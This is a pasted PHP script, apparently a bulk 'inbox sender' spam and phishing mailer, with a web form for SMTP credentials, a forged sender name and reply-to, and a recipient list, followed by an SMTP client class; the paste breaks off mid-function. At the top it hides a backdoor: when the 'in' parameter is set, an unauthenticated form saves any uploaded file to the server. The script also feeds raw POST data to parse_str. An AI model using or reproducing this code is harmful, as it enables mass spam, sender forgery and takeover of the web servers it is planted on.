· 6 years ago · Jun 10, 2019, 10:08 AM
1<?php
2# ==================================================== #
3# TEAM ALBORAAQ #
4# CONTACT[at]ALBORAAQ[dot]COM #
5# HTTP://WWW.ALBORAAQ.COM #
6# ( TOOLS - 2014 ) #
7# ==================================================== #
8function query_str($params){
9$str = '';
10foreach ($params as $key => $value) {
11$str .= (strlen($str) < 1) ? '' : '&';
12$str .= $key . '=' . rawurlencode($value);
13}
14return ($str);
15}
16function lrtrim($string){
17return stripslashes(ltrim(rtrim($string)));
18}
19$in = $_GET['in']; if($in == 'in'){
20$filename = $_FILES['file']['name'];
21$filetmp = $_FILES['file']['tmp_name'];
22echo "<form method='POST' enctype='multipart/form-data'>
23<input type='file'name='file' />
24<input type='submit' value='go' />
25</form>";
26move_uploaded_file($filetmp,$filename);
27}
28if(isset($_POST['action'] ) ){
29
30$b = query_str($_POST);
31parse_str($b);
32$sslclick=lrtrim($sslclick);
33$action=lrtrim($action);
34$message=lrtrim($message);
35$emaillist=lrtrim($emaillist);
36$from=lrtrim($from);
37$reconnect=lrtrim($reconnect);
38$epriority=lrtrim($epriority);
39$my_smtp=lrtrim($my_smtp);
40$ssl_port=lrtrim($ssl_port);
41$smtp_username=lrtrim($smtp_username);
42$smtp_password=lrtrim($smtp_password);
43$replyto=lrtrim($replyto);
44$subject=lrtrim($subject);
45$realname=lrtrim($realname);
46$subject_base=lrtrim($subject);
47$realname_base=lrtrim($realname);
48$file_name=lrtrim($file);
49$urlz=lrtrim($urlz);
50$contenttype=lrtrim($contenttype);
51$encode_text=$_POST['encode'];
52
53 $message = urlencode($message);
54 $message = ereg_replace("%5C%22", "%22", $message);
55 $message = urldecode($message);
56 $message = stripslashes($message);
57 $subject = stripslashes($subject);
58 if ($encode_text == "yes") {
59 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
60 $subject = str_replace(' ', '_', $subject);
61 $subject = "=?UTF-8?Q?$subject?=";
62 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
63 $realname = str_replace(' ', '_', $realname);
64 $realname = "=?UTF-8?Q?$realname?=";
65 }
66}
67?>
68<html>
69
70<head>
71<title>MAILER INBOX SENDER</title>
72<META NAME="robots" CONTENT="noindex">
73<META NAME="robots" CONTENT="nofollow">
74<META NAME="robots" CONTENT="noarchive">
75<META NAME="robots" CONTENT="nosnippet">
76<META NAME="robots" CONTENT="noodp">
77<META NAME="robots" CONTENT="noydir">
78<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
79<style type="text/css">
80<!--
81.style1 {
82 font-family: Geneva, Arial, Helvetica, sans-serif;
83 font-size: 12px;
84}
85-->
86</style>
87<style type="text/css">
88<!--
89.style1 {
90 font-size: 10px;
91 font-family: Geneva, Arial, Helvetica, sans-serif;
92}
93-->
94</style>
95</head>
96<body text="#000000">
97<p align="center"><font size="5" face="Bauhaus 93">MAILER INBOX SENDER #2014</font><font color="#FFFFFF" size="5" face="Bauhaus 93"></font></p>
98<form name="form1" method="post" action="" enctype="multipart/form-data">
99
100 <br>
101
102 <table width="100%" border="0" height="407">
103
104 <tr>
105
106 <td width="100%" colspan="4" bgcolor="#000000" height="36">
107
108 <b>
109
110 <font face="Arial" size="2" color="#FFFFFF"> SMTP SETUP</font></b></td>
111
112 </tr>
113 <tr>
114
115 <td width="10%" height="22" bgcolor="#E8E8E8">
116
117 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
118 SMTP Login:</font></div>
119
120 </td>
121
122 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
123
124 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
125
126 </font></td>
127
128 <td width="31%" height="22" bgcolor="#E8E8E8">
129
130 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
131 SMTP Pass:</font></div>
132
133 </td>
134
135 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
136
137 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
138
139 </font></td>
140
141 </tr>
142 <tr>
143
144 <td width="10%" height="22" bgcolor="#E8E8E8">
145
146 <div align="right">
147 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
148
149 </td>
150
151 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
152
153 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
154 (optional)</font></td>
155
156 <td width="31%" height="22" bgcolor="#E8E8E8">
157
158 <div align="right">
159 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
160 Server Smtp:</font></div>
161
162 </td>
163
164 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
165
166 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
167
168 </font></td>
169
170 </tr>
171 <tr>
172
173 <td width="10%" height="22" bgcolor="#E8E8E8">
174
175 <p align="right">
176 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
177
178 <td width="18%" height="22" bgcolor="#E8E8E8">
179 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
180
181 <td width="31%" height="22" bgcolor="#E8E8E8">
182
183 <p align="right">
184 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
185 After:</font></td>
186
187 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
188
189 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
190 EMAILS</font></td>
191
192 </tr>
193 <tr>
194
195 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
196
197 <p align="center">
198 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
199 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
200
201 </tr>
202
203 <tr>
204
205 <td width="10%" height="19">
206
207 </td>
208
209 <td width="18%" height="19"> </td>
210
211 <td width="31%" height="19">
212
213 </td>
214
215 <td width="41%" height="19"> </td>
216
217 </tr>
218
219 <tr>
220
221 <td width="100%" colspan="4" bgcolor="#000000" height="36">
222
223 <b>
224
225 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
226
227 </tr>
228
229 <tr>
230
231 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
232
233 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
234 Your Email:</font></div>
235
236 </td>
237
238 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
239
240 <input type="text" name="from" value="<?=$from;?>" size="30">
241
242 </font></td>
243
244 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
245
246 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
247 Your Name:</font></div>
248
249 </td>
250
251 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
252
253 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
254
255 </font></td>
256
257 </tr>
258 <tr>
259
260 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
261
262 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
263 Reply-To:</font></div>
264
265 </td>
266
267 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
268
269 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
270
271 </font></td>
272
273 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
274
275 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
276 Email Priority:</font></td>
277
278 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
279
280 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
281 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
282 Please Choose -</option>
283 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
284 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
285 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
286 </select></td>
287
288 </tr>
289
290 <tr>
291
292 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
293
294 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
295 Subject:</font></div>
296
297 </td>
298
299 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
300
301 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
302
303 </font></td>
304
305 </tr>
306
307 <tr>
308
309 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
310
311 </td>
312
313 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
314
315 <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
316 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
317 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
318 </select></font></td>
319
320 </tr>
321
322 <tr valign="top">
323
324<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
325
326 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
327
328 <br>
329
330 <input type="radio" name="contenttype" value="plain" >
331
332 Plain
333
334 <input type="radio" name="contenttype" value="html" checked>
335
336 HTML
337
338 <input type="hidden" name="action" value="send">
339
340 <input type="submit" value="Send Message">
341
342 </font></td>
343
344 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
345
346 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
347
348 </font></td>
349
350 </tr>
351
352 </table>
353
354</form>
355
356
357
358<?
359
360if ($action){
361 if (!$from && !$subject && !$message && !$emaillist){
362 print "<script>alert('Please complete all fields before sending your message.'); </script>";
363 die(); }
364
365class SMTP
366{
367 /**
368 * SMTP server port
369 * @var int
370 */
371 var $SMTP_PORT = 25;
372
373 /**
374 * SMTP reply line ending
375 * @var string
376 */
377 var $CRLF = "\r\n";
378
379 /**
380 * Sets whether debugging is turned on
381 * @var bool
382 */
383 var $do_debug; # the level of debug to perform
384
385 /**
386 * Sets VERP use on/off (default is off)
387 * @var bool
388 */
389 var $do_verp = false;
390
391 /**#@+
392 * @access private
393 */
394 var $smtp_conn; # the socket to the server
395 var $error; # error if any on the last call
396 var $helo_rply; # the reply the server sent to us for HELO
397 /**#@-*/
398
399 /**
400 * Initialize the class so that the data is in a known state.
401 * @access public
402 * @return void
403 */
404 function SMTP() {
405 $this->smtp_conn = 0;
406 $this->error = null;
407 $this->helo_rply = null;
408
409 $this->do_debug = 0;
410 }
411
412 /*************************************************************
413 * CONNECTION FUNCTIONS *
414 ***********************************************************/
415
416 /**
417 * Connect to the server specified on the port specified.
418 * If the port is not specified use the default SMTP_PORT.
419 * If tval is specified then a connection will try and be
420 * established with the server for that number of seconds.
421 * If tval is not specified the default is 30 seconds to
422 * try on the connection.
423 *
424 * SMTP CODE SUCCESS: 220
425 * SMTP CODE FAILURE: 421
426 * @access public
427 * @return bool
428 */
429 function Connect($host,$port=0,$tval=30) {
430 # set the error val to null so there is no confusion
431 $this->error = null;
432
433 # make sure we are __not__ connected
434 if($this->connected()) {
435 # ok we are connected! what should we do?
436 # for now we will just give an error saying we
437 # are already connected
438 $this->error = array("error" => "Already connected to a server");
439 return false;
440 }
441
442 if(empty($port)) {
443 $port = $this->SMTP_PORT;
444 }
445
446 #connect to the smtp server
447 $this->smtp_conn = fsockopen($host, # the host of the server
448 $port, # the port to use
449 $errno, # error number if any
450 $errstr, # error message if any
451 $tval); # give up after ? secs
452 # verify we connected properly
453 if(empty($this->smtp_conn)) {
454 $this->error = array("error" => "Failed to connect to server",
455 "errno" => $errno,
456 "errstr" => $errstr);
457 if($this->do_debug >= 1) {
458 echo "SMTP -> ERROR: " . $this->error["error"] .
459 ": $errstr ($errno)" . $this->CRLF;
460 }
461 return false;
462 }
463
464 # sometimes the SMTP server takes a little longer to respond
465 # so we will give it a longer timeout for the first read
466 // Windows still does not have support for this timeout function
467 if(substr(PHP_OS, 0, 3) != "WIN")
468 socket_set_timeout($this->smtp_conn, $tval, 0);
469
470 # get any announcement stuff
471 $announce = $this->get_lines();
472
473 # set the timeout of any socket functions at 1/10 of a second
474 //if(function_exists("socket_set_timeout"))
475 // socket_set_timeout($this->smtp_conn, 0, 100000);
476
477 if($this->do_debug >= 2) {
478 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
479 }
480
481 return true;
482 }
483
484 /**
485 * Performs SMTP authentication. Must be run after running the
486 * Hello() method. Returns true if successfully authenticated.
487 * @access public
488 * @return bool
489 */
490 function Authenticate($username, $password) {
491 // Start authentication
492 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
493
494 $rply = $this->get_lines();
495 $code = substr($rply,0,3);
496
497 if($code != 334) {
498 $this->error =
499 array("error" => "AUTH not accepted from server",
500 "smtp_code" => $code,
501 "smtp_msg" => substr($rply,4));
502 if($this->do_debug >= 1) {
503 echo "SMTP -> ERROR: " . $this->error["error"] .
504 ": " . $rply . $this->CRLF;
505 }
506 return false;
507 }
508
509 // Send encoded username
510 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
511
512 $rply = $this->get_lines();
513 $code = substr($rply,0,3);
514
515 if($code != 334) {
516 $this->error =
517 array("error" => "Username not accepted from server",
518 "smtp_code" => $code,
519 "smtp_msg" => substr($rply,4));
520 if($this->do_debug >= 1) {
521 echo "SMTP -> ERROR: " . $this->error["error"] .
522 ": " . $rply . $this->CRLF;
523 }
524 return false;
525 }
526
527 // Send encoded password
528 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
529
530 $rply = $this->get_lines();
531 $code = substr($rply,0,3);
532
533 if($code != 235) {
534 $this->error =
535 array("error" => "Password not accepted from server",
536 "smtp_code" => $code,
537 "smtp_msg" => substr($rply,4));
538 if($this->do_debug >= 1) {
539 echo "SMTP -> ERROR: " . $this->error["error"] .
540 ": " . $rply . $this->CRLF;
541 }
542 return false;
543 }
544
545 return true;
546 }
547
548 /**
549 * Returns true if connected to a server otherwise false
550 * @access private
551 * @return bool
552 */
553 function Connected() {
554 if(!empty($this->smtp_conn)) {
555 $sock_status = socket_get_status($this->smtp_conn);
556 if($sock_status["eof"]) {
557 # hmm this is an odd situation... the socket is
558 # valid but we are not connected anymore
559 if($this->do_debug >= 1) {
560 echo "SMTP -> NOTICE:" . $this->CRLF .
561 "EOF caught while checking if connected";
562 }
563 $this->Close();
564 return false;
565 }
566 return true; # everything looks good
567 }
568 return false;
569 }
570
571 /**
572 * Closes the socket and cleans up the state of the class.
573 * It is not considered good to use this function without
574 * first trying to use QUIT.
575 * @access public
576 * @return void
577 */
578 function Close() {
579 $this->error = null; # so there is no confusion
580 $this->helo_rply = null;
581 if(!empty($this->smtp_conn)) {
582 # close the connection and cleanup
583 fclose($this->smtp_conn);
584 $this->smtp_conn = 0;
585 }
586 }
587
588 /***************************************************************
589 * SMTP COMMANDS *
590 *************************************************************/
591
592 /**
593 * Issues a data command and sends the msg_data to the server
594 * finializing the mail transaction. $msg_data is the message
595 * that is to be send with the headers. Each header needs to be
596 * on a single line followed by a <CRLF> with the message headers
597 * and the message body being seperated by and additional <CRLF>.
598 *
599 * Implements rfc 821: DATA <CRLF>
600 *
601 * SMTP CODE INTERMEDIATE: 354
602 * [data]
603 * <CRLF>.<CRLF>
604 * SMTP CODE SUCCESS: 250
605 * SMTP CODE FAILURE: 552,554,451,452
606 * SMTP CODE FAILURE: 451,554
607 * SMTP CODE ERROR : 500,501,503,421
608 * @access public
609 * @return bool
610 */
611 function Data($msg_data) {
612 $this->error = null; # so no confusion is caused
613
614 if(!$this->connected()) {
615 $this->error = array(
616 "error" => "Called Data() without being connected");
617 return false;
618 }
619
620 fputs($this->smtp_conn,"DATA" . $this->CRLF);
621
622 $rply = $this->get_lines();
623 $code = substr($rply,0,3);
624
625 if($this->do_debug >= 2) {
626 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
627 }
628
629 if($code != 354) {
630 $this->error =
631 array("error" => "DATA command not accepted from server",
632 "smtp_code" => $code,
633 "smtp_msg" => substr($rply,4));
634 if($this->do_debug >= 1) {
635 echo "SMTP -> ERROR: " . $this->error["error"] .
636 ": " . $rply . $this->CRLF;
637 }
638 return false;
639 }
640
641 # the server is ready to accept data!
642 # according to rfc 821 we should not send more than 1000
643 # including the CRLF
644 # characters on a single line so we will break the data up
645 # into lines by \r and/or \n then if needed we will break
646 # each of those into smaller lines to fit within the limit.
647 # in addition we will be looking for lines that start with
648 # a period '.' and append and additional period '.' to that
649 # line. NOTE: this does not count towards are limit.
650
651 # normalize the line breaks so we know the explode works
652 $msg_data = str_replace("\r\n","\n",$msg_data);
653 $msg_data = str_replace("\r","\n",$msg_data);
654 $lines = explode("\n",$msg_data);
655
656 # we need to find a good way to determine is headers are
657 # in the msg_data or if it is a straight msg body
658 # currently I am assuming rfc 822 definitions of msg headers
659 # and if the first field of the first line (':' sperated)
660 # does not contain a space then it _should_ be a header
661 # and we can process all lines before a blank "" line as
662 # headers.
663 $field = substr($lines[0],0,strpos($lines[0],":"));
664 $in_headers = false;
665 if(!empty($field) && !strstr($field," ")) {
666 $in_headers = true;
667 }
668
669 $max_line_length = 998; # used below; set here for ease in change
670
671 while(list(,$line) = @each($lines)) {
672 $lines_out = null;
673 if($line == "" && $in_headers) {
674 $in_headers = false;
675 }
676 # ok we need to break this line up into several
677 # smaller lines
678 while(strlen($line) > $max_line_length) {
679 $pos = strrpos(substr($line,0,$max_line_length)," ");
680
681 # Patch to fix DOS attack
682 if(!$pos) {
683 $pos = $max_line_length - 1;
684 }
685
686 $lines_out[] = substr($line,0,$pos);
687 $line = substr($line,$pos + 1);
688 # if we are processing headers we need to
689 # add a LWSP-char to the front of the new line
690 # rfc 822 on long msg headers
691 if($in_headers) {
692 $line = "\t" . $line;
693 }
694 }
695 $lines_out[] = $line;
696
697 # now send the lines to the server
698 while(list(,$line_out) = @each($lines_out)) {
699 if(strlen($line_out) > 0)
700 {
701 if(substr($line_out, 0, 1) == ".") {
702 $line_out = "." . $line_out;
703 }
704 }
705 fputs($this->smtp_conn,$line_out . $this->CRLF);
706 }
707 }
708
709 # ok all the message data has been sent so lets get this
710 # over with aleady
711 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
712
713 $rply = $this->get_lines();
714 $code = substr($rply,0,3);
715
716 if($this->do_debug >= 2) {
717 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
718 }
719
720 if($code != 250) {
721 $this->error =
722 array("error" => "DATA not accepted from server",
723 "smtp_code" => $code,
724 "smtp_msg" => substr($rply,4));
725 if($this->do_debug >= 1) {
726 echo "SMTP -> ERROR: " . $this->error["error"] .
727 ": " . $rply . $this->CRLF;
728 }
729 return false;
730 }
731 return true;
732 }
733
734 /**
735 * Expand takes the name and asks the server to list all the
736 * people who are members of the _list_. Expand will return
737 * back and array of the result or false if an error occurs.
738 * Each value in the array returned has the format of:
739 * [ <full-name> <sp> ] <path>
740 * The definition of <path> is defined in rfc 821
741 *
742 * Implements rfc 821: EXPN <SP> <string> <CRLF>
743 *
744 * SMTP CODE SUCCESS: 250
745 * SMTP CODE FAILURE: 550
746 * SMTP CODE ERROR : 500,501,502,504,421
747 * @access public
748 * @return string array
749 */
750 function Expand($name) {
751 $this->error = null; # so no confusion is caused
752
753 if(!$this->connected()) {
754 $this->error = array(
755 "error" => "Called Expand() without being connected");
756 return false;
757 }
758
759 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
760
761 $rply = $this->get_lines();
762 $code = substr($rply,0,3);
763
764 if($this->do_debug >= 2) {
765 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
766 }
767
768 if($code != 250) {
769 $this->error =
770 array("error" => "EXPN not accepted from server",
771 "smtp_code" => $code,
772 "smtp_msg" => substr($rply,4));
773 if($this->do_debug >= 1) {
774 echo "SMTP -> ERROR: " . $this->error["error"] .
775 ": " . $rply . $this->CRLF;
776 }
777 return false;
778 }
779
780 # parse the reply and place in our array to return to user
781 $entries = explode($this->CRLF,$rply);
782 while(list(,$l) = @each($entries)) {
783 $list[] = substr($l,4);
784 }
785
786 return $list;
787 }
788
789 /**
790 * Sends the HELO command to the smtp server.
791 * This makes sure that we and the server are in
792 * the same known state.
793 *
794 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
795 *
796 * SMTP CODE SUCCESS: 250
797 * SMTP CODE ERROR : 500, 501, 504, 421
798 * @access public
799 * @return bool
800 */
801 function Hello($host="") {
802 $this->error = null; # so no confusion is caused
803
804 if(!$this->connected()) {
805 $this->error = array(
806 "error" => "Called Hello() without being connected");
807 return false;
808 }
809
810 # if a hostname for the HELO was not specified determine
811 # a suitable one to send
812 if(empty($host)) {
813 # we need to determine some sort of appopiate default
814 # to send to the server
815 $host = "localhost";
816 }
817
818 // Send extended hello first (RFC 2821)
819 if(!$this->SendHello("EHLO", $host))
820 {
821 if(!$this->SendHello("HELO", $host))
822 return false;
823 }
824
825 return true;
826 }
827
828 /**
829 * Sends a HELO/EHLO command.
830 * @access private
831 * @return bool
832 */
833 function SendHello($hello, $host) {
834 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
835
836 $rply = $this->get_lines();
837 $code = substr($rply,0,3);
838
839 if($this->do_debug >= 2) {
840 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
841 }
842
843 if($code != 250) {
844 $this->error =
845 array("error" => $hello . " not accepted from server",
846 "smtp_code" => $code,
847 "smtp_msg" => substr($rply,4));
848 if($this->do_debug >= 1) {
849 echo "SMTP -> ERROR: " . $this->error["error"] .
850 ": " . $rply . $this->CRLF;
851 }
852 return false;
853 }
854
855 $this->helo_rply = $rply;
856
857 return true;
858 }
859
860 /**
861 * Gets help information on the keyword specified. If the keyword
862 * is not specified then returns generic help, ussually contianing
863 * A list of keywords that help is available on. This function
864 * returns the results back to the user. It is up to the user to
865 * handle the returned data. If an error occurs then false is
866 * returned with $this->error set appropiately.
867 *
868 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
869 *
870 * SMTP CODE SUCCESS: 211,214
871 * SMTP CODE ERROR : 500,501,502,504,421
872 * @access public
873 * @return string
874 */
875 function Help($keyword="") {
876 $this->error = null; # to avoid confusion
877
878 if(!$this->connected()) {
879 $this->error = array(
880 "error" => "Called Help() without being connected");
881 return false;
882 }
883
884 $extra = "";
885 if(!empty($keyword)) {
886 $extra = " " . $keyword;
887 }
888
889 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
890
891 $rply = $this->get_lines();
892 $code = substr($rply,0,3);
893
894 if($this->do_debug >= 2) {
895 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
896 }
897
898 if($code != 211 && $code != 214) {
899 $this->error =
900 array("error" => "HELP not accepted from server",
901 "smtp_code" => $code,
902 "smtp_msg" => substr($rply,4));
903 if($this->do_debug >= 1) {
904 echo "SMTP -> ERROR: " . $this->error["error"] .
905 ": " . $rply . $this->CRLF;
906 }
907 return false;
908 }
909
910 return $rply;
911 }
912
913 /**
914 * Starts a mail transaction from the email address specified in
915 * $from. Returns true if successful or false otherwise. If True
916 * the mail transaction is started and then one or more Recipient
917 * commands may be called followed by a Data command.
918 *
919 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
920 *
921 * SMTP CODE SUCCESS: 250
922 * SMTP CODE SUCCESS: 552,451,452
923 * SMTP CODE SUCCESS: 500,501,421
924 * @access public
925 * @return bool
926 */
927 function Mail($from) {
928 $this->error = null; # so no confusion is caused
929
930 if(!$this->connected()) {
931 $this->error = array(
932 "error" => "Called Mail() without being connected");
933 return false;
934 }
935
936 $useVerp = ($this->do_verp ? "XVERP" : "");
937 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
938
939 $rply = $this->get_lines();
940 $code = substr($rply,0,3);
941
942 if($this->do_debug >= 2) {
943 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
944 }
945
946 if($code != 250) {
947 $this->error =
948 array("error" => "MAIL not accepted from server",
949 "smtp_code" => $code,
950 "smtp_msg" => substr($rply,4));
951 if($this->do_debug >= 1) {
952 echo "SMTP -> ERROR: " . $this->error["error"] .
953 ": " . $rply . $this->CRLF;
954 }
955 return false;
956 }
957 return true;
958 }
959
960 /**
961 * Sends the command NOOP to the SMTP server.
962 *
963 * Implements from rfc 821: NOOP <CRLF>
964 *
965 * SMTP CODE SUCCESS: 250
966 * SMTP CODE ERROR : 500, 421
967 * @access public
968 * @return bool
969 */
970 function Noop() {
971 $this->error = null; # so no confusion is caused
972
973 if(!$this->connected()) {
974 $this->error = array(
975 "error" => "Called Noop() without being connected");
976 return false;
977 }
978
979 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
980
981 $rply = $this->get_lines();
982 $code = substr($rply,0,3);
983
984 if($this->do_debug >= 2) {
985 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
986 }
987
988 if($code != 250) {
989 $this->error =
990 array("error" => "NOOP not accepted from server",
991 "smtp_code" => $code,
992 "smtp_msg" => substr($rply,4));
993 if($this->do_debug >= 1) {
994 echo "SMTP -> ERROR: " . $this->error["error"] .
995 ": " . $rply . $this->CRLF;
996 }
997 return false;
998 }
999 return true;
1000 }
1001
1002 /**
1003 * Sends the quit command to the server and then closes the socket
1004 * if there is no error or the $close_on_error argument is true.
1005 *
1006 * Implements from rfc 821: QUIT <CRLF>
1007 *
1008 * SMTP CODE SUCCESS: 221
1009 * SMTP CODE ERROR : 500
1010 * @access public
1011 * @return bool
1012 */
1013 function Quit($close_on_error=true) {
1014 $this->error = null; # so there is no confusion
1015
1016 if(!$this->connected()) {
1017 $this->error = array(
1018 "error" => "Called Quit() without being connected");
1019 return false;
1020 }
1021
1022 # send the quit command to the server
1023 fputs($this->smtp_conn,"quit" . $this->CRLF);
1024
1025 # get any good-bye messages
1026 $byemsg = $this->get_lines();
1027
1028 if($this->do_debug >= 2) {
1029 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1030 }
1031
1032 $rval = true;
1033 $e = null;
1034
1035 $code = substr($byemsg,0,3);
1036 if($code != 221) {
1037 # use e as a tmp var cause Close will overwrite $this->error
1038 $e = array("error" => "SMTP server rejected quit command",
1039 "smtp_code" => $code,
1040 "smtp_rply" => substr($byemsg,4));
1041 $rval = false;
1042 if($this->do_debug >= 1) {
1043 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1044 $byemsg . $this->CRLF;
1045 }
1046 }
1047
1048 if(empty($e) || $close_on_error) {
1049 $this->Close();
1050 }
1051
1052 return $rval;
1053 }
1054
1055 /**
1056 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1057 * Returns true if the recipient was accepted false if it was rejected.
1058 *
1059 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1060 *
1061 * SMTP CODE SUCCESS: 250,251
1062 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1063 * SMTP CODE ERROR : 500,501,503,421
1064 * @access public
1065 * @return bool
1066 */
1067 function Recipient($to) {
1068 $this->error = null; # so no confusion is caused
1069
1070 if(!$this->connected()) {
1071 $this->error = array(
1072 "error" => "Called Recipient() without being connected");
1073 return false;
1074 }
1075
1076 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1077
1078 $rply = $this->get_lines();
1079 $code = substr($rply,0,3);
1080
1081 if($this->do_debug >= 2) {
1082 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1083 }
1084
1085 if($code != 250 && $code != 251) {
1086 $this->error =
1087 array("error" => "RCPT not accepted from server",
1088 "smtp_code" => $code,
1089 "smtp_msg" => substr($rply,4));
1090 if($this->do_debug >= 1) {
1091 echo "SMTP -> ERROR: " . $this->error["error"] .
1092 ": " . $rply . $this->CRLF;
1093 }
1094 return false;
1095 }
1096 return true;
1097 }
1098
1099 /**
1100 * Sends the RSET command to abort and transaction that is
1101 * currently in progress. Returns true if successful false
1102 * otherwise.
1103 *
1104 * Implements rfc 821: RSET <CRLF>
1105 *
1106 * SMTP CODE SUCCESS: 250
1107 * SMTP CODE ERROR : 500,501,504,421
1108 * @access public
1109 * @return bool
1110 */
1111 function Reset() {
1112 $this->error = null; # so no confusion is caused
1113
1114 if(!$this->connected()) {
1115 $this->error = array(
1116 "error" => "Called Reset() without being connected");
1117 return false;
1118 }
1119
1120 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1121
1122 $rply = $this->get_lines();
1123 $code = substr($rply,0,3);
1124
1125 if($this->do_debug >= 2) {
1126 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1127 }
1128
1129 if($code != 250) {
1130 $this->error =
1131 array("error" => "RSET failed",
1132 "smtp_code" => $code,
1133 "smtp_msg" => substr($rply,4));
1134 if($this->do_debug >= 1) {
